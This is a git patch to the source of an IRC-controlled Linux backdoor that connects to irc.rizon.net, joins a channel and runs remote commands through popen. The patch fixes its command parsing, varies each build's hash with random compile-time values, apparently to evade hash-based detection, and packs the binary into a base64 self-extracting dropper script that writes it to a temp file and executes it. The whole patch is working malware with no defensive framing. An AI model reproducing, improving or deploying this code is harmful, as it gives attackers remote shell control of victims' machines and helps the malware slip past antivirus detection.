From 77d2f3cc76b944651b1bbf0ab49f6c04d7875f5c Mon Sep 17 00:00:00 2001
From: Your Name <you@example.com>
Date: Sat, 27 Apr 2024 12:36:45 +0300
Subject: [PATCH] fixed

---
 build.sh       |  5 ++---
 gen_script.sh  | 10 +++++++++-
 include/cfg.h  |  2 +-
 src/backdoor.c | 18 +++---------------
 src/main.c     |  7 +++++++
 5 files changed, 22 insertions(+), 20 deletions(-)

diff --git a/build.sh b/build.sh
index a8093d0..cbd37d2 100755
--- a/build.sh
+++ b/build.sh
@@ -1,5 +1,4 @@
 CFLAGS="-s -Os -pedantic -Wall -Wextra"
 
-rm main
-
-cc $CFLAGS src/* -Iinclude -DENABLE_SSL -lssl -lcrypto -omain
+cc $CFLAGS src/* -Iinclude -DENABLE_SSL -lssl -lcrypto -omain -DVAL1=$RANDOM -DVAL2=$RANDOM
+strip -sx main
diff --git a/gen_script.sh b/gen_script.sh
index 2237ff1..40a5461 100755
--- a/gen_script.sh
+++ b/gen_script.sh
@@ -1,3 +1,11 @@
 #!/bin/sh
 ./build.sh
-echo \#\!"/bin/sh" > script.sh && cat main | base64 | xargs -I % echo f+=\" % \" | tr -d " " >> script.sh && echo -e "t=\$(mktemp -p \$TMPDIR XXXXXXXX)\necho \$f | base64 -d > \$t\nchmod +x \$t\nexec \$t" >> script.sh && chmod +x script.sh
+echo "[md5]" $(md5sum main)
+
+payload=$(cat main | base64 | xargs | tr -d " ")
+
+echo "#!/bin/sh" > script.sh
+echo "f=\""$payload\" >> script.sh
+echo -e "t=\$(mktemp -p \$TMPDIR XXXXXXX)\necho \$f | base64 -d > \$t\nchmod +x \$t\nexec \$t" >> script.sh
+
+chmod +x script.sh
diff --git a/include/cfg.h b/include/cfg.h
index d334079..cee561a 100644
--- a/include/cfg.h
+++ b/include/cfg.h
@@ -9,5 +9,5 @@ typedef struct {
 } SERVER;
 
 SERVER servers[] = {
-	{1, "irc.rizon.net", 6697, NULL, "#channel", NULL}
+	{1, "irc.rizon.net", 6697, NULL, "#blbl", NULL}
 };
diff --git a/src/backdoor.c b/src/backdoor.c
index c95e029..9e6361d 100644
--- a/src/backdoor.c
+++ b/src/backdoor.c
@@ -1,5 +1,4 @@
 #include <unistd.h>
-#include <sys/utsname.h>
 #include "backdoor.h"
 #include "irc.h"
 
@@ -27,17 +26,6 @@ void parse_cmd(IRCC_client *client) {
 	else if (!strncmp(client->irc_msg, "!cd", 3))
 		chdir(client->irc_msg + 4);
 
-	else if (!strncmp(client->irc_msg, "!uname", 6)) {
-		struct utsname uts;
-		if (uname(&uts) < 0)
-			return;
-
-		char buf[COMMON_BUF_SIZE + 1];
-		snprintf(buf, sizeof(buf), "[Arch: %s] [Sys: %s %s] [Host: %s]", uts.machine, uts.sysname, uts.version, uts.nodename);
-
-		send_info(client, buf);
-	}
-
 	/* Shell */
 	else if (!strncmp(client->irc_msg, "!exec", 5)) {
 		if (fp != NULL)
@@ -46,7 +34,7 @@ void parse_cmd(IRCC_client *client) {
 		fp = popen(client->irc_msg + 5, "wr");
 	}
 
-	else if (!strncmp(client->irc_msg, "!print", 5)) {
+	else if (!strncmp(client->irc_msg, "!print", 6)) {
 		if (fp == NULL)
 			return;
 
@@ -59,14 +47,14 @@ void parse_cmd(IRCC_client *client) {
 		send_info(client, buf);
 	}
 
-	else if (!strncmp(client->irc_msg, "!write", 5)) {
+	else if (!strncmp(client->irc_msg, "!write", 6)) {
 		if (fp == NULL)
 			return;
 
 		fputs(client->irc_msg + 5, fp);
 	}
 
-	else if (!strncmp(client->irc_msg, "!close", 5)) {
+	else if (!strncmp(client->irc_msg, "!close", 6)) {
 		if (fp == NULL)
 			return;
 
diff --git a/src/main.c b/src/main.c
index 9238cbc..add799e 100644
--- a/src/main.c
+++ b/src/main.c
@@ -6,6 +6,12 @@
 #include "irc.h"
 #include "cfg.h"
 
+int ChangeHashSum(void) {
+	int i = VAL1;
+	int j = VAL2;
+	return i + j;
+}
+
 char *randnick(size_t len) {
 	char a[] = "asdfghjklzxcvbnmqwertyuiopASDFGHJKLZXCVBNMQWERTYUIOP";
 	char *str = malloc(len + 1);
@@ -59,6 +65,7 @@ int start(void) {
 }
 
 int main(void) {
+	ChangeHashSum();
 	daemon(0, 0);
 
 	if (fork() == 0) {